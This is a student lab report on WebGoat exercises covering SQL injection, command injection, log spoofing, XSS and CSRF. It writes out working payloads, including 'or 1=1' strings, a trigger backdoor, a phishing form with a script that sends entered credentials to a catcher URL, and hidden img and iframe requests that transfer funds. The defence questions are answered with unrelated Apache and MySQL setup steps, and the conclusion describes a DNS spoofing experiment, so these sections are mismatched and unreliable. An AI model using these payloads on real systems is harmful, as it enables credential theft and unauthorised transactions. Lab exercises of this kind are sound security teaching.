Exp9 Web安全基础

目录


一、实验目标

本实践的目标理解常用网络攻击技术的基本原理。
1、做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。
2、抓图包括学号,P图或无学号,每张扣0.5分 ,超过两张者此项不得分。(1分)
3、抄袭别人者0分

二、实践过程

(一)实验环境

在本次实验中,用到的环境为:WebGoat
1、下载jar包webgoat-server-8.0.0.M26.jar一直下载不下来,然后下载了另一个:webgoat-container-7.0.1-war-exec.jar

2、WebGoat默认使用8080端口,开启前先用netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 进程号终止占用8080端口的进程。

3、WebGoat运行java平台之上,使用java -version查看jdk版本。

4、使用java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar开启WebGoat,出现Starting ProtocolHandler ["http-bio-8080"]之后就开启成功了。

5、浏览器中打开WebGoat登录界面:http://localhost:8080/WebGoat(可以直接使用在界面里看到的两组用户名和密码登陆)

(二)SQL注入攻击

1、命令注入(Command Injection)

(1)按F12进入调试界面,选择inspect Element对源代码进行修改:

(2)例如在BackDoors.help后面加上"& netstat -an & ipconfig"(用Edit At Html进行修改):

(3)点击View,可看到命令的输出结果:

2、数字型SQL注入(Numeric SQL Injection)

通过注入SQL字符串的方式查看所有的天气数据
(1)按F12进入调试界面,选择inspect Element对源代码进行修改:

(2)在选项列表中,任意选择一个值,比如“101”,后面加上or 1=1(用Edit At Html进行修改):

(3)点击Go,可以看到攻击成功:

3、日志欺骗(Log Spoofing)

通过插入脚本实现日志欺骗
(1)在文本框中输入用户名:smith Login Succeeded for username admin,这样用户名后面的信息会在同一行显示,而不是在新的一行。

(2)可以往该应用中注入回车(0D%)和换行符(%0A)。在username 中填入Smith%0d%0aLogin Succeeded for username: admin,以达到修改日志的目的:

(3)攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将admin <script>alert(document.cookie)</script>作为用户名输入。

4、字符串注入(String SQL Injection)

基于查询语句SELECT * FROM user_data WHERE last_name = ‘?‘ 构造SQL 注入字符串绕过认证
(1)正常情况下只能查询到用户名对应的信用卡号码:

(2)输入以下代码,得到所有用户的信用卡号码:

’ or 1=1 --// 或者Snow‘ or 1=1 --

5、数据库后门(Database Backdoors)

攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email 地址设置为攻击者的地址
(1)输入102,得到该用户的信息(发现输入的语句没有验证,很容易进行 SQL 注入):

(2)若要执行两个语句,中间需要用分号分隔。输入注入语句:

102; update employee set salary=10000

(3)若设置触发器,可使用以下查询条件:
由于WebGoat 使用的是MySQL数据库,不支持触发器,因此以上并不能在这里真正实现

102;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘john@hackme.com‘ WHERE userid = NEW.userid

(二)XSS攻击

1、跨站脚本钓鱼攻击(Phishing with XSS)

在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。如创建一个form,要求填写用户名和密码
(1)一个带用户名和密码输入框的表格如下所示:

<form>feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br></form><br><br><HR>

搜索这段代码,可以看到页面中增加了一个表单:

(2)还需要一段脚本(这段代码会读取在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat):

<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen." User Name = " +document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=newImage; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";}</script>

(3)将这两段代码合并:

<script>function hack(){ alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";} </script><form><br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>

搜索这段代码,出现用户名和密码的填写界面:

填写并登录,WebGoat会反馈输入的信息:

2、存储型XSS攻击(Stored XSS Attacks)

写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
(1)在Message中构造语句<script>alert("2075328 attack succeed!");</script>,Title任意。提交后可发现刚创建的帖子test5328,点击5328,然后会弹出一个对话框,证明XSS攻击成功:

3、反射型XSS攻击(Reflected XSS Attacks)

恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的
(1)在Enter your three digit access code中构造语句<script>alert("Hello! I am 20175328");</script>,点击Purchase,成功显示警告框,内容为我们script脚本指定的内容:

(三)CSRF攻击

1、跨站请求伪造(Cross Site Request Forgery (CSRF))

CSRF通过伪装来自受信任用户的请求来利用受信任的网站
(1)查看页面右下方Parameters中的srcmenu值,分别为290和900:

(2)在Message中构造语句:

<img src="http://localhost:8080/WebGoat/attack?Screen=290&menu=900&transferFunds=5000" width="1" height="1" />

以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交(其中语句中的&transferFunds=5000,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)

(3)输入任意Title,提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

2、绕过 CSRF 确认( CSRF Prompt By‐Pass)

(1)查看页面右下方Parameters中的srcmenu值,分别为328和900:

(2)在Message中构造语句:

<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe><iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>

(3)点击Submit生成以Title命名的链接,点击链接,攻击成功

三、思考题

(一)SQL注入攻击原理,如何防御

1、kali默认已安装Apache,直接使用service apache2 start命令打开Apache服务即可。如果没有任何错误提示,即表明成功开启。
图打开Apache服务

2、在浏览器输入127.0.0.1,如果可以打开Apache的默认网页,则开启成功。
图开启成功

(二)XSS攻击的原理,如何防御

1、在原有simple_form.html基础上,添加一段JavaScript代码,以完成对用户名(邮箱)和密码的验证。

2、浏览器中输入/var/www/html/login_test.html打开网页。
图网页

(三)CSRF攻击原理,如何防御

1、kali中输入/etc/init.d/mysql start开启MySQL服务。
图开启MySQL服务

2、输入mysql -u root -p使用root权限进入,默认的密码是password。

四、实践总结与体会

本次实验做的是DNS欺骗。感觉钓鱼网站的原理不是那么高大上了,每个人都可以做一个简易版的钓鱼网站。不过这也提醒我们,不要随便乱点什么奇奇怪怪的链接,出现的界面非常有可能偷梁换柱了。

五、参考资料

相关文章